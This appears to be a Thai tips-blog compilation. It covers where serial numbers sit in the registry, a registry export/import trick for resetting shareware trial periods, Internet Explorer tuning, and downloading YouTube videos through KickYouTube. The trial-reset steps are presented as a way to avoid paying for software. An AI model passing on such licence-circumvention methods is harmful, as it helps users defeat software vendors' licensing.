โดยบางโปรแกรม Serial Number จะอยู่ที่ HKEY_CURRENT_USER > Software
สามารถใช้ได้บางโปรแกรมนะครับ เช่น Microsoft Office

วิธีโกงเวลาโปรแกรม โดยไม่ต้องเสียเงินซื้อโปรแกรม

วิธีโกงเวลาโปรแกรม
เบื่อไหม!!!!!!
ที่ต้องมาตั้งกระทู้ค้นหา Serial crack เพื่อให้ได้ใช้โปรแกรมที่มีเวลาจำกัด แต่เดียวก่อง แอ้บโดมิไนเซอขอเสนอ วิธีโกงอายุโปรแกรม
วิธีต่ออายุการใช้งานแชร์แวร์โดยไม่ต้อง Crack ด้วย Registry Editor

- เริ่มจากการติดตั้งโปรแกรมปกติ
- เมื่อเปิดโปรแกรมครั้งแรกจะเห็นระยะเวลา บอกให้ใช้งานได้กี่วันส่วนมาก 15-30 วัน หากต้องการใช้งาน
เกินกว่ากำหนด เริ่มขั้นตอนกันเลยครับ

1. ให้คลิกปุ่ม Start ->Run
2. พิมพ์คำสั่ง c:/windowsregedit..exe เพื่อเปิดโปรแกรม Registry Editor ขึ้นมา
3. คลิก File ->Export เพื่อทำสำเนาข้อมูล Registry ของวินโดวส์
4. จะมีหน้าต่างเพื่อบันทึกไฟล์ ขึ้นมาในช่อง save in : เลือกเป็น My Decuments คลิ๊กเลือก All ตรงกรอบ Export range
จากนั้นพิมพ์ชื่อไฟล์ในช่อง File Name _____ . reg File of type : Registraration File ( *.reg ) แล้วกด Save
5. เมื่อครบกำหนดตามระยะการใช้งานโปรแกรมจะไม่สามารถ ใช้งานได้
6. ให้ไปที่ Start ->Run พิมพ์คำสั่ง c:/windowsregedit..exe เพื่อเปิดโปรแกรม
7. จากนั้นไปที่ File -> Import
8. ให้ไปที่ช่อง Look in: เลือก My Decuments เพื่อคลิกชื่อไฟล์ที่เราทำสำเนาเอาใว้ ในขั้นตอนที่ 4. ___________.reg
9. จากนั้นคลิกปุ่ม Open เป็นอันเสร็จโปรแกรมที่เราไม่อยากเสียเงินก็ได้คืนชีพอีกครั้ง

เพิ่มประสิทธิภาพ IE

​คนที่​ใช้​งานอินเทอร์​เน็ต​เป็น​ประจำ​ก็คงหนี​ไม่​พ้น​ ​ต้อง​ใช้​งานบราวเซอร์​เพื่อ​ค้น​หาข้อมูล​หรือ​แม้​แต่​เพื่อ​ความ​ บันเทิง​ ​ปัญหาก็คือเจ้า​ IE(Internet Explorer) ​วันนี้ทิปของเราขอเสนอวิธีปรับ​ IE ​เพื่อเพิ่มประสิทธิภาพขึ้น​ได้​บ้างก็​ยัง​ดี​

​ขั้นแรก​ ​ลดวันที่​เก็บหน้า​ History
​ ตามปกติ​เมื่อเรา​ไปท่องเว็บไหนก็ตาม​ ​เจ้า​ IE ​ก็​จะ​ตามเก็บหน้า​เว็บที่คุณ​ได้​เข้า​ไปดูอย่างเกาะติดเหมือน​กับ​เงาตาม ตัว​กัน​เลยที​เดียว​ ​ทีนี้​ถ้า​คุณเกิดมันส์​ใน​อารมณ์​(สนุก) ​ท่องเว็บไปเรื่อยเปื่อย​ ​ข้อมูลที่ถูกเก็บสะสม​ไว้​ก็​จะ​มากขึ้นตามไป​ด้วย​
​ซึ่ง​เป็น​สา​เหตุ หนึ่งของ​ความ​เชื่องช้านั่นเอง​ ​ซึ่ง​ IE ​เองก็​เล็งเห็น​ความ​สำ​คัญตรงนี้ก็​เลยตั้งค่าอัตโนมัติ​ให้​ทำ​ลายตัวเอง ​...​เอ่อ​ไม่​ใช่​ ​จิงๆ​แล้ว​ก็คือลบหน้า​เว็บที่​เก็บไวทิ้งไปนั่นแหละ​ ​แต่ว่ามันช่างนานเหลือเกิน​เพราะ​ว่าตั้งเวลา​ไว้​ตั้ง​ 20 ​วันกว่า​จะ​รู้ตัวก็​(คง)​สายเกินแก้​
​ทีนี้​ใน​ฐานะที่​เรา​เป็น​เจ้า ของเราก็มีสิทธิกำ​หนดเอง​ได้​ ​เข้า​ไปที่​ Tools -> Internet Options ​แท็บ​ General ​ช่อง​ History ​จัดการแก้​ไขจำ​นวนวัน​ได้​ตาม​ต้อง​การ​ ​ใน​ที่นี้​เปลี่ยนตัวเลข​เป็น​ 1 ​ไปเลย​ ​วันเดียวก็​เหลือเฟือ​

​ขั้นที่สอง​ ​ยกเลิกการเก็บหน้า​เว็บที่​เข้า​รหัส​
​ หน้า​เว็บบางหน้าที่​ต้อง​การการล็อกอินเพื่อถาม​ ​รหัสผ่าน​ ​จะ​มีวิธีการเก็บข้อมูลที่ค่อนข้าง​จะ​เปลืองเนื้อที่​ใน​การเก็บพอสมควร​ ​ถ้า​รู้ดังนี้​แล้ว​ก็​ไม่​ต้อง​เก็บมันไปเลย​ถ้า​จะ​ดี​
​เข้า​ไปที่​ Tools -> Internet Options ​แท็บ​ Advanced ​หัวข้อ​ Security ​ทำ​เครื่องหมายหน้าข้อ​ Do not save encrypted pages to disk

ดูดวงไพ่ยิปซี ไพ่ทาโรต์

เทคนิคโหลด วิดีโอจากยูทูบ ง่ายเกินคาด!

ไม่ต้องลงโปรแกรม หรือติดตั้งปลั๊กอินใดๆ ในเบราว์เซอร์ให้ยุ่งยาก แค่เว็บไซต์เดียวซึ่งมีวิธีการใช้งานที่ไม่ต้องจำ ไม่ต้องสอน ก็ "สอย" วิดีโอดีๆ นับล้านๆ คลิปที่อยู่ในยูทูบได้ฟรีๆ

วิธีการก็เพียงแค่ เมื่อเปิดเจอวิดีโอไหนที่ต้องการดาวน์โหลด ก็แค่พิมพ์คำว่า "kick" ลงไปหน้าลิงก์นั้น ๆ

เช่น ลิงค์ของวิดีโอผู้จัดการมีที่อยู่เว็บดังนี้ http://www.youtube.com

เราก็เพียงพิมพ์คำว่า kick ลงไปข้างหน้าคำว่า Youtube เช่น
http://www.kickyoutube.com

ก็จะมีแถบเครื่องมือของ KickYouTube ปรากฏอยู่ด้านบนของหน้าเว็บเพจปกติของยูทูบ

ขั้นตอนดาวน์โหลด

1. เลือกนามสกุลไฟล์ที่ต้องการนำไปใช้งาน ได้แก่ FLV, MPG, MP3, HD, MP4, iPhone

2. กดที่ปุ่มด้านขวามือที่เขียนว่า "Go"

3. จะมีป๊อปอัพขึ้นมาให้คุณกด "Save"

KickYouTube ถือเป็นอีกหนึ่งทางเลือกที่ไว และเร็ว ในการดาวน์โหลดวิดีโอจากยูทูบที่เหมาะกับผู้ใช้ทั่วไป